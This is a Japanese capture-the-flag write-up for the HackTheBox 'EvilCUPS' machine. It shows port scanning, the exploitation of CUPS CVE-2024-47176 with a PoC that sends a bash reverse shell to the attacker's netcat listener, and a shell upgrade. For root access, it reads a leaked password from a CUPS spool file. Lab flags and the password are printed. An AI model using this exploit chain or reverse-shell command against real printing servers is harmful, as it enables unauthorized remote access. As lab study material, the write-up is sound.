概要
HackTheBox「EvilCUPS」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A --min-rate 5000 -p- 10.10.11.40 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
|_http-title: Home - CUPS 2.4.2
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 9.2p1 |
631 | ipp | CUPS 2.4 |
631
ポートにアクセスします。
CUPS 2.4.2
の脆弱性を検索するとCVE-2024-47176
が見つかりました。
この脆弱性を悪用することでRCEができるようです。
攻撃には下記リポジトリを使用します。
Netcatでリッスンします。
$ nc -lnvp 1234
listening on [any] 1234 ...
PoCを実行します。
$ python evilcups.py 10.10.14.84 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.14.84/1234 0>&1"'
/printers
を見るとプリンターが追加されています。
追加されたプリンターでPrint Test Page
をクリックするとリバースシェルが張れます。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.40] 47826
bash: cannot set terminal process group (1789): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home/htb/user.txt
からユーザーフラグを入手できました。
a1e37aa0091c96493b2f015e6042c322
Root Flag
元々ターゲットの環境にはCanon_MB2300_series
というプリンターがありました。
ドキュメントによると印刷ジョブファイルは/var/spool/cups
に保存されるようです。
また、データファイルがd00001-001
,d99999-001
,d100000-001
のような形式で保存されることも分かりました。
/var/spool/cups
は権限がないのでディレクトリの中を見られませんでした。
lp@evilcups:/var/spool/cups$ ls -la
ls -la
ls: cannot open directory '.': Permission denied
lp@evilcups:/var/spool/cups$ ls -la ../
ls -la ../
total 24
drwxr-xr-x 6 root root 4096 Sep 30 19:55 .
drwxr-xr-x 11 root root 4096 Sep 28 10:02 ..
drwxr-xr-x 3 root root 4096 Sep 28 10:02 cron
drwx--x--- 3 root lp 4096 Oct 4 03:38 cups
drwxr-xr-x 2 lp lp 4096 Sep 30 19:55 lpd
lrwxrwxrwx 1 root root 7 Sep 27 21:03 mail -> ../mail
drwx------ 2 root root 4096 Feb 22 2023 rsyslog
元々のプリンターには完了したジョブID-1があります。
なのでファイル名がd00001-001
になると予測できます。
なので/var/spool/cups/d00001-001
ファイルを読み取ります。
(省略)
_S
18 36 translate
/pagenum 1 def
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
(省略)
出力結果からパスワードらしき文字列を発見できたのでrootアカウントへログインを試みると成功しました。
$ su root
su root
Password: Br3@k-G!@ss-r00t-evilcups
root@evilcups:/var/spool/cups#
/root/root.txt
からルートフラグを入手できます。
b22dc8db095caa23bb8883dd4153cbb4